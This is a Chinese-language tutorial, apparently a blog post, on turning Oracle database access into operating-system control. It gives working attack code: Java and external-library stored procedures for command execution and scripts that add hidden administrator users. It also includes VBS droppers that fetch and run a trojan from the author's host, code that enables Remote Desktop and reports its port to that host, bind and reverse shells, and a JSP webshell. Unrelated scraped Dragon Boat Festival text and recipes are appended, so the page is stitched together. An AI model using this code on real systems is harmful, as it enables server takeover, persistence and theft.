Create or REPLACE LIBRARY exec_shell AS '$ORACLE_HOMEmsvcrt.dll';
/
show errors
Create or REPLACE PACKAGE oracmd IS PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
Create or REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME ”system“
LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors
执行完后
执行
程序代码
exec oracmd.exec ('net1 user robert iloveyou /add');
NO2.
程序代码
Create or REPLACE AND COMPILE JAVA SOURCE NAMED ”Host“ AS
import java.io.*;
public class Host {
public static void executeCommand(String command) {
try {
String[] finalCommand;
if (isWindows) {
finalCommand = new String[4];
// Use the appropriate path for your windows version.
finalCommand[0] = ”C:\windows\system32\cmd.exe“; // Windows XP/
//finalCommand[0] = ”C:\winnt\system32\cmd.exe“; // Windows NT/
finalCommand[1] = ”/y“;
finalCommand[2] = ”/c“;
finalCommand[3] = command;
}
else {
finalCommand = new String[3];
finalCommand[0] = ”/bin/sh“;
finalCommand[1] = ”-c“;
finalCommand[2] = command;
}
final Process pr = Runtime.getRuntime().exec(finalCommand);
pr.waitFor();
new Thread(new Runnable(){
public void run() {
BufferedReader br_in = null;
try {
br_in = new BufferedReader(new InputStreamReader(pr.getInputStream()));
String buff = null;
while ((buff = br_in.readLine()) != null) {
System.out.println(”Process out :“ + buff);
try {Thread.sleep(100); } catch(Exception e) {}
}
br_in.close();
}
catch (IOException ioe) {
System.out.println(”Exception caught printing process output.“);
ioe.printStackTrace();
}
finally {
try {
br_in.close();
} catch (Exception ex) {}
}
}
}).start();
new Thread(new Runnable(){
public void run() {
BufferedReader br_err = null;
try {
br_err = new BufferedReader(new InputStreamReader(pr.getErrorStream()));
String buff = null;
while ((buff = br_err.readLine()) != null) {
System.out.println(”Process err :“ + buff);
try {Thread.sleep(100); } catch(Exception e) {}
}
br_err.close();
}
catch (IOException ioe) {
System.out.println(”Exception caught printing process error.“);
ioe.printStackTrace();
}
finally {
try {
br_err.close();
} catch (Exception ex) {}
}
}
}).start();
}
catch (Exception ex) {
System.out.println(ex.getLocalizedMessage());
}
}
public static boolean isWindows() {
if (System.getProperty(”os.name“).toLowerCase().indexOf(”windows“) != -1)
return true;
else
return false;
}
};
/
Create or REPLACE PROCEDURE host_command (p_command IN VARCHAR2)
AS LANGUAGE JAVA
NAME 'Host.executeCommand (java.lang.String)';
/
EXEC DBMS_JAVA.grant_permission('SYSTEM', 'java.io.FilePermission', '', 'read ,write, execute, delete');
EXEC Dbms_Java.Grant_Permission('SYSTEM', 'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
EXEC Dbms_Java.Grant_Permission('SYSTEM', 'SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');
/
DECLARE
l_output DBMS_OUTPUT.chararr;
l_lines INTEGER := 1000;
BEGIN
DBMS_OUTPUT.enable(1000000);
DBMS_JAVA.set_output(1000000);
host_command('dir C:');
DBMS_OUTPUT.get_lines(l_output, l_lines);
END;
这个要注意两点
win下注意系统路径
linx下注意注释掉win
最后一句就是执行命令的
程序代码
host_command('dir C:');
no3.
程序代码
create or replace and compile
java souRCe named ”util“
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}
/
create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';
/
create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);
end;
/
variable x number;
set serveroutput on;
exec dbms_java.set_output(100000);
grant javasyspriv to system;
这句注意最后这里要授权下当前登陆的用户
程序代码
grant javasyspriv to system
最后执行
程序代码
exec :x:=run_cmz('ipconfig');
第二部分 操作磁盘文件
no1.
建立目录
程序代码
create or replace directory DIR as 'C:';
此目录当然也可以是启动目录
授权
程序代码
grant read, write on directory DIR to system
这步可以不用
然后执行操作
写文件
程序代码
declare
file utl_file.file_type;
begin
file := utl_file.fopen('DIR', 'test.vbs', 'W');
utl_file.put_line(file, 'Set xPost=CreateObject(”Microsoft.XMLHTTP“)
xPost.Open ”GET“,”http:/ /blog.cnmoker.org/rad.exe“,0
xPost.Send()
Set sGet=CreateObject(”ADODB.Stream“)
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile ”c:rad.exe“,2');
utl_file.fflush(file);
utl_file.fclose(file);
end;
/
exec :x:=run_cmz('cscript. c:test.vbs');
/
exec :x:=run_cmz('c:rad.exe');
这步操作讲下载我的木马到c盘并执行
程序代码
declare
file utl_file.file_type;
begin
file := utl_file.fopen('DIR', '3389.vbs', 'W');
utl_file.put_line(file, 'Dim OperationRegistry
Set perationRegistry=WScript.createObject(”WScript.Shell“)
Dim TSPort,TSState,TSRegPath
TSRegPath=”HKLMSystemCurrentControlSetControlTerminal ServerWinStationsRDP-TcpPortNumber“
TSPort=OperationRegistry.RegRead(TSRegPath)
TSRegPath=”HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerfDenyTSConnections“
TSState=OperationRegistry.RegRead(TSRegPath)
If TSState=0 Then
Else
OperationRegistry.RegWrite TSRegPath,0,”REG_DWORD“
End If');
utl_file.fflush(file);
utl_file.fclose(file);
end;
/
exec :x:=run_cmz('cscript. c:3389.vbs');
vbs开启3389
程序代码
declare
file utl_file.file_type;
begin
file := utl_file.fopen('DIR', 'user.vbs', 'W');
utl_file.put_line(file, 'set wsnetwork=CreateObject(”WSCRIPT.NETWORK“)
s=”WinNT://“'||'&'||'wsnetwork.ComputerName
Set a=CreateObject(”Scripting.FileSystemObject“)
Set b=GetObject(os)
Set e=GetObject(os&”/Administrators,group“)
Set d=ob.Create(”user“,”bob“)
od.SetPassword ”123456abc!@#“
od.SetInfo
Set f=GetObject(os&”/bob“,user)
oe.add os&”/bob“
oa.DeleteFile(”user.vbs“)');
utl_file.fflush(file);
utl_file.fclose(file);
end;
/
/
exec :x:=run_cmz('cscript. c:user.vbs');
无net添加admin用户
程序代码
declare
file utl_file.file_type;
begin
file := utl_file.fopen('DIR', '3389p.vbs', 'W');
utl_file.put_line(file, '
Dim OperationRegistry
Set perationRegistry=WScript.createObject(”WScript.Shell“)
Dim TSPort,TSState,TSRegPath
TSRegPath=”HKLMSystemCurrentControlSetControlTerminal ServerWinStationsRDP-TcpPortNumber“
TSPort=OperationRegistry.RegRead(TSRegPath)
Set xPost=CreateObject(”Microsoft.XMLHTTP“)
xPost.Open ”GET“,”blog.cnmoker.org/read3389/ro.asp?port=“ '||'ccccc'||' TSPort,0
xPost.Send()
TSRegPath=”HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerfDenyTSConnections“
TSState=OperationRegistry.RegRead(TSRegPath)
If TSState=0 Then
Else
OperationRegistry.RegWrite TSRegPath,0,”REG_DWORD“
End If
set bj=wscript.createObject(”wscript.shell“)
obj.Run(”sc config TermService start= demand“)
obj.Run(”sc stop TermService“)
obj.Run(”sc start TermService“)
wscript.quit
');
utl_file.fflush(file);
utl_file.fclose(file);
end;
/
exec :x:=run_cmz('cscript. c:3389p.vbs');
/
exec :x:=run_cmz('del c:3389p.vbs');
/
blog.cnmoker.org/read3389/read.asp
这个代码的作用是用来读取对方的3389端口并post下自己的网站数据库里
这个read.asp和ro.asp自己写吧
到此win下操作基本上是完成了
第三部分 linux的一些操作
linux的操作要用到sqlj语言
其实ISTO的kj总早就写了一些
我总结
程序代码
create or replace and compile java source named bob as
import java.io.*;
import java.net.*;
public class BOB{
public static String listFolder(String path){
File f=null;
String str=”“;
f=new File(path);
String[] files=f.list();
if(files!=null)
for(int i=0;i
str+=files[i]+”rn“;
}
return str;
}
public static String saveFile(String filepath,String value){
FileOutputStream fos=null;
try {
fos=new FileOutputStream(filepath);
fos.write(value.getBytes());
return ”OK“;
} catch (Exception e) {
return e.getMessage();
} finally{
if(fos!=null){
try {fos.close();} catch (Exception e) {}
}
}
}
public static String readFile(String pathfile,String code){
BufferedReader br=null;
String value=”“;
try {
br=new BufferedReader(new InputStreamReader(new FileInputStream(pathfile),code));
String s=null;
while((s=br.readLine())!=null){
value+=s;
}
return value;
} catch (Exception e) {
return e.getMessage();
} finally{
if(br!=null){try {br.close();} catch (IOException e) {}}
}
}
public static String execFile(String filepath,String code){
int i=0;
Runtime rt=Runtime.getRuntime();
String utput=”“;
InputStreamReader isr = null;
char[] bufferC=new char[1024];
try{
Process ps=rt.exec(filepath);
isr=new InputStreamReader(ps.getInputStream(),code);
while((i=isr.read(bufferC,0,bufferC.length))!=-1){
output+=new String(bufferC,0,i);
}
return output;
}catch(Exception e){
return e.getMessage();
}finally{
if(isr!=null)try {isr.close();} catch (IOException e) {}
}
}
public static String bindShell(int port){
ServerSocket ss=null;
Socket s=null;
try {
ss = new ServerSocket(port);
s=ss.accept();
new optShell(ss,s).start();
return ”OK“;
} catch (Exception e) {
return e.getMessage();
}
}
public static String reverseShell(String host,int port){
Socket s=null;
try{
s=new Socket(host,port);
new optShell(null,s).start();
return ”OK“;
}catch(Exception e){
return e.getMessage();
}
} //反弹shell的sqlj语句
public static class optShell extends Thread{
OutputStream s=null;
InputStream is=null;
ServerSocket ss;
Socket s;
public optShell(ServerSocket ss,Socket s){
this.ss=ss;
this.s=s;
try{
this.is=s.getInputStream();
this.os=s.getOutputStream();
}catch(Exception e){
if(os!=null)try {os.close();} catch(Exception ex) {}
if(is!=null)try {is.close();} catch(Exception ex) {}
if(s!=null)try {s.close();} catch(Exception ex) {}
if(ss!=null)try {ss.close();} catch(Exception ex) {}
}
}
public void run(){
BufferedReader br=new BufferedReader(new InputStreamReader(is));
String line=”“;
String cmdhelp=”Command:rnlist rnsavernreadrnexecrnexitrn“;
try {
//os.write(cmdhelp.getBytes());
line=br.readLine();
while(!”exit“.equals(line)){
if(line.length()>3){
StringBuffer sb=new StringBuffer(line.trim());
String cmd=sb.substring(0, 4);
if(cmd.equals(”list“)){
os.write(”input you path:rn“.getBytes());
line=br.readLine();
os.write(listFolder(line).getBytes());
}else if(”save“.equals(cmd)){
os.write(”input you filepath:rn“.getBytes());
line=br.readLine();
os.write(”input you value:rn“.getBytes());
os.write(saveFile(line,br.readLine()).getBytes());
}else if(”read“.equals(cmd)){
os.write(”input you filepath:rn“.getBytes());
line=br.readLine();
os.write(”input you code examle:GBKrn“.getBytes());
os.write(readFile(line,br.readLine()).getBytes());
}else if(”exec“.equals(cmd)){
os.write(”input you run filepath:rn“.getBytes());
line=br.readLine();
os.write(”input you code examle:GBKrn“.getBytes());
os.write(execFile(line,br.readLine()).getBytes());
}else{
os.write(cmdhelp.getBytes());
}
}else{
os.write(cmdhelp.getBytes());
}
line=br.readLine();
}
} catch (Exception e) {
e.printStackTrace();
}finally{
if(os!=null)try {os.close();} catch(Exception e) {}
if(is!=null)try {is.close();} catch(Exception e) {}
if(s!=null)try {s.close();} catch(Exception e) {}
if(ss!=null)try {ss.close();} catch(Exception e) {}
}
}
}
}
/
create or replace function BOB_LISTFOLDER(str varchar2) return varchar2
as language java name 'BOB.listFolder(java.lang.String) return java.lang.String';
/
create or replace function BOB_SAVEFILE(p varchar2,v varchar2) return varchar2
as language java name 'BOB.saveFile(java.lang.String,java.lang.String) return java.lang.String';
/
create or replace function BOB_READFILE(p varchar2,c varchar2) return varchar2
as language java name 'BOB.readFile(java.lang.String,java.lang.String) return java.lang.String';
/
create or replace function BOB_EXECFILE(fp varchar2,c varchar2) return varchar2
as language java name 'BOB.execFile(java.lang.String,java.lang.String) return java.lang.String';
/
create or replace function BOB_BINDSHELL(port number) return varchar2
as language java name 'BOB.bindShell(int) return java.lang.String';
/
begin
Dbms_Java.Grant_Permission('scott','java.io.FilePermission','','read,write,execute,delete');
Dbms_Java.Grant_Permission('scott','java.lang.RuntimePermission','*','writeFileDescriptor');
Dbms_Java.grant_permission('scott','java.net.SocketPermission','*:*','accept,connect,listen,resolve');
end;
这么一大段,仔细看
执行完后
程序代码
Select BOB_LISTFOLDER('/usr') FROM DUAL //列目录
Select BOB_EXECFILE('C:WINDOWSsystem32cmd.exe /c dir c:','GBK') FROM DUAL; //执行命令
Select BOB_READFILE('/tmp/1.txt','GBK') FROM DUAL; //读文件
Select BOB_SAVEFILE('/tmp/1.jsp','<%if(request.getParameter(”f“)!=null)(new java.io.FileOutputStream(application.getRealPath(”\“)+request.getParameter(”f“))).write(request.getParameter(”t“).getBytes());%>') FROM DUAL; 写jsp一句话 可查看我的上一篇BLOG
Select BOB_BINDSHELL(20000) FROM DUAL //开启端口2000然后你telnet ip 2000上去
其中本来还有reserver shell的
我还没来的及测试
我自己是更中意反弹shell的
特别是linux
好操作的多
再说有时候linux是nat出来的
反弹就去了许多麻烦
第四部分 技巧
一句话读取3389端口
程序代码
exec :x:=run_cmz('REG query HKLMSYSTEMCurrentControlSetControlTerminal” “ServerWinStationsRDP-Tcp /v PortNumber');
一句话开3389 只合适win 2k3
程序代码
exec :x:=run_cmz('REG ADD HKLMSYSTEMCurrentControlSetControlTerminal” “Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f');
删除pcanywhere导致的终端登陆错误
程序代码
exec :x:=run_cmz('reg delete ”HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon" /v GinaDLL /f');
PS：感谢某大牛的整理，膜拜之，
oracle注射详细资料...
，
。。。。
端午节，这个节日对于你来说意味着什么？除了吃一口香甜的粽子外，她还让你想起了什么？在各种洋节日趋火爆的现代社会，端午节是否也像部分传统节日一样，逐渐变成了一个可有可无的符号？
一.端午节起源：
端午亦称端五，是我国最大的传统节日之一。“端”的意思和“初”相同，称“端五”也就如称“初五”；端五的“五”字又与“午”相通，按地支顺序推算，五月正是“午”月。又因午时为“阳辰”，所以端五也叫“端阳”。五月五日，月、日都是五，故称重五，也称重午。
此外，端午还有许多别称，如：夏节、浴兰节、女儿节，天中节、地腊、诗人节等等。端午节的别称之多，间接说明了端午节俗起源的歧出。事实也正是这样的。关于端午节的来源，时至今日至少有四、五种说法，诸如：纪念屈原说；吴越民族图腾祭说；起于三代夏至节说；恶月恶日驱避说，等等。
迄今为止，影响最广的端午起源的观点是纪念屈原说。在民俗文化领域，我国民众把端午节的龙舟竞渡和吃粽子都与屈原联系起来。俗说屈原投江以后，当地人民伤其死，便驾舟奋力营救，因有竞渡风俗；又说人们常放食品到水中致祭屈原，但多为蛟龙所食，后因屈原的提示才用楝树叶包饭，外缠彩丝，做成后来的粽子样。
二.粽子的南北风味：
于各地的饮食习惯不同，粽子形成了南北风味，其中比较著名的粽子有：
北京粽子北方粽子的代表品种，北京粽子个头较大，为斜四角形或三角形。目前，市场上供应的大多数是糯米粽。在农村中，仍然习惯吃大黄米粽。黏韧而清香，别具风味，北京粽子多以红枣、豆沙做馅，少数也采用果脯为馅。
广东粽子南方粽子的代表品种，广东粽子与北京粽子相反，个头较小，外形别致，正面方形，后面隆起一只尖角，状如锥子f分纸隙啵除鲜肉粽、豆沙粽外，还有用咸蛋黄做成的蛋黄粽，以及鸡肉丁、鸭肉丁、叉烧肉、冬菇、绿豆等调配为馅的什锦粽，风味更佳?
三.粽子的一些包法：
又是一年端午节，家家户户少不了吃粽子。盛夏闻艾叶香，包上粽子过端午。虽然现在超市里有速冻的粽子，但吃起来总觉得缺少点什么，还是自己动手包粽子，想吃什么口味全凭自己作主，也许一代名粽就会在你的手上诞生。
1.原料的预加工1.糯米、绿豆、花生米的泡制：
将纯糯米淘洗后，用60℃的水浸泡5小时，或用冷水浸泡12小时。
绿豆淘洗后，加滚水浸泡3.5小时，或用冷水浸泡12小时后去皮，效果最佳。
花生米加滚水浸泡3小时，或冷水浸泡5小时后去皮。
2.葱姜油的制作方法：把葱末、姜末、精盐少许放在25克猪油中炒成金黄色，出香味后，捡去葱姜末，即成葱姜油。
3.糯米绿豆瓣：将泡好的糯米、绿豆瓣，以3∶1的比例混合拌匀后，加点碱(3公斤糯米，10克碱)，再拌入葱姜油，即成糯米绿豆瓣。
4.陈皮咸肉的制法：
用料：五花猪肉250克糖少许盐1汤匙葱白适量姜丝20根陈皮2块切丝料酒少许。
制法：把肉洗净，切成手指粗细的条、把糖、盐、料酒调好，搓在肉条上，然后放入葱丝、姜丝、陈皮丝拌匀。腌渍10小时后，捡去葱丝、姜丝。
5.腐乳咸肉制法：
用料：五花猪肉250克糖1汤匙葱结、姜丝适量料酒少许。
制法：把肉切成手指粗细的条，把糖、料酒、葱结、姜丝调好，搓在肉条上，腌渍10小时，捡去葱、姜，放腐乳碾碎，拌入腌渍肉条的味料，再腌渍1小时即可。
6.陈皮牛肉制法：
用料：牛腱子肉500克糖2汤匙酱油100克葱1根花椒粉1小匙料酒少许小茴香30粒(以纱布包好)陈皮两片小苏打少许
制法：将洗净的牛肉，切成手指粗细的条，用小苏打搓匀，放入适量滚开水中，再依次放白糖、葱、料酒、花椒粉、小茴香、煮一会儿即放酱油，煮至八分熟即好。
7.腊肉的制法：
用料：五花猪肉500克甜面酱250克料酒少许葱1根姜15克另有塑料绳毛头纸(窗户纸)。
制法：将肉洗净，切33厘米左右长、3.3厘米宽、3.3厘米厚的条。将料酒、葱花、姜末放甜面酱中拌匀。把肉条放甜面酱中浸2小时。用窗户纸分别把每一条肉包严，用绳扎好，挂在阴凉处风干，约10天左右即好。
8.腊肠的制法：
用料：猪的肥瘦肉1公斤料酒半肠匙白砂糖3汤匙精盐1汤匙葱2根姜25克肠衣3条喜欢陈皮味的，可放些陈皮丝腌渍，或放味精也可。
制法：将猪肉切1厘米见方的丁，用上述调味料腌渍10小时。用50℃的水将肠衣泡5～6小时即软，再用水灌进肠内输通备用。将肉丁(捡去陈皮丝、葱姜)用漏斗灌入肠衣，边灌边分节，挂在阴凉处阴干，约1星期左右便可。
9.叉烧肉的制法：
用料：肥瘦兼有的猪肉500克五香粉1汤匙料酒半汤匙白糖50克葱丝和鲜姜丝少许，高级酱油100克油适量。
制作：把猪肉切成3.3厘米宽、6.7厘米长、2.7厘米厚的长条，用上述调味料腌制24小时，将肉条用文火油煎至八分熟，切丁待用。
10.豆沙的制法：
将煮烂的豆子，放在小竹筛中，筛底下放一小盆水。用手在筛底上揉搓豆子，豆沙筛入水盆中，将豆沙水倒入豆包布口袋中，挤落水分，即成豆沙。
11.各类粽子的具体包法：
火腿肉粽用料：配制好的糯米绿豆瓣750克火腿丁50克冬菇或香菇25克猪肉末50克精制淀粉10克麻油5克猪油25克葱末、姜末、精盐适量白糖1汤匙竹叶、马莲。
制法：用猪油将葱末、姜末炒黄，除去葱姜末后，依次放放火腿肉丁、猪肉末、冬菇丁白糖、盐炒30秒钟，勾芡，淋上麻油，即成馅料待用。
取2片泡好的粽叶，折成斗状，填进糯米绿豆瓣，把馅料夹在糯米中间，上面盖好糯米，包成五角方底锥形，扎紧后上蒸锅，码紧，放冷水，没过粽子为便。煮1小时后，改文火煮30分钟即好。若用压力锅，煮25分钟，离火再焖5分钟即好。
如没有竹叶，苇叶也行。每边三片苇叶，折成斗形。
陈皮咸肉粽用料：泡制好的糯米绿豆瓣750克花生瓣50克陈皮咸肉条250克竹叶、马莲。
制法：包法与煮制时间同火腿肉粽，只是馅心改用陈皮咸肉条。
腐乳咸肉粽用料及制法、煮制时间同火腿肉粽，只是馅心换成陈皮牛肉。
咸鸭蛋粽用料：配制过的糯米绿豆瓣750克花生瓣25克熟咸鸭蛋黄5个竹叶、马莲。
制法：包法与火腿粽相同。包成，上蒸锅煮1小时后，移文火煮10分钟即好。
腊肉粽子用料：配制过的糯米绿豆瓣750克花生瓣25克腊肉丁250克白砂糖2汤匙竹叶、马莲。
制法：包法与煮制时间与火腿粽子相同，只是馅心改为腊
端午节的资料大全相关内容:
端午节的习俗
我国民间过端午节是较为隆重的，庆祝的活动也是各种各样，比较普遍的活动有以下种种形式： 赛龙舟 赛龙舟： 赛龙舟，是端午节的主要习俗。相传起源于古时楚国人因舍不得贤臣屈原投江死去，许多人划船追赶拯救。
端午节由来与传说
端午 （唐）文秀 节分端午自谁言，万古传闻为屈原； 堪笑楚江空渺渺，不能洗得直臣冤。 七律.端午 （唐）殷尧藩 少年佳节倍多情，老去谁知感慨生； 不效艾符趋习俗，但祈蒲酒话升平。
端午节简介
农历五月初五，是中国民间的传统节日DD端午节，它是中华民族古老的传统节日之一。端午也称端五，端阳。此外，端午节还有许多别称，如：午日节、重五节，五月节、浴兰节、女儿节，天中节、地腊、诗人节、龙日等等。
端午节的资料大全
端午节，这个节日对于你来说意味着什么？除了吃一口香甜的粽子外，她还让你想起了什么？在各种洋节日趋火爆的现代社会，端午节是否也像部分传统节日一样，逐渐变成了一个可有可无的符号？ 一.端午节起源： 端午亦称端五，是我国最大的传统...
传统文化端午节
作为中国古老文化节日之一，端午节文化不管在大江南北、长城内外可谓是家喻户晓，人人皆知。过去，我对端午节的知识是知其然不知其所以然。直到寒假里，我读了《我们的节日》这本书，才知道原来端午节有着很深厚的文化内涵。
儿时的端午节
儿时的端午节: 在我儿时的记忆中，除了春节以外就数端午节最为热闹了，由于父母工作都很忙，小时候我常常跟外婆一起呆在乡下。那时的端午节使我难以忘怀。
端午节话题作文
端午，中国人都知道的。， 记得小时候，过端午节，总是一早起来，站在院里活动身骨，然后在耳边挂上一脉不知名的植物，那个植物有一种摄人的清香，睡意不知不觉都被卷走，脑中只有一股清风在环绕。
狂欢端午节
“端午节来临了，我们可以放松自己了！”楼下传来一阵阵欢呼声。对，今天我们正准备去长鹿农庄放松自我呢！我们兴奋地来到了长鹿农庄，我们开心的玩这玩那，开心的游览着。
★ 李白
★ 李白将进酒
★ 李白 蜀道难
★ 李白蜀道难
★ 李白作文
★ 李白 腾云
★ 李白黄鹤楼
★ 忆秦娥李白
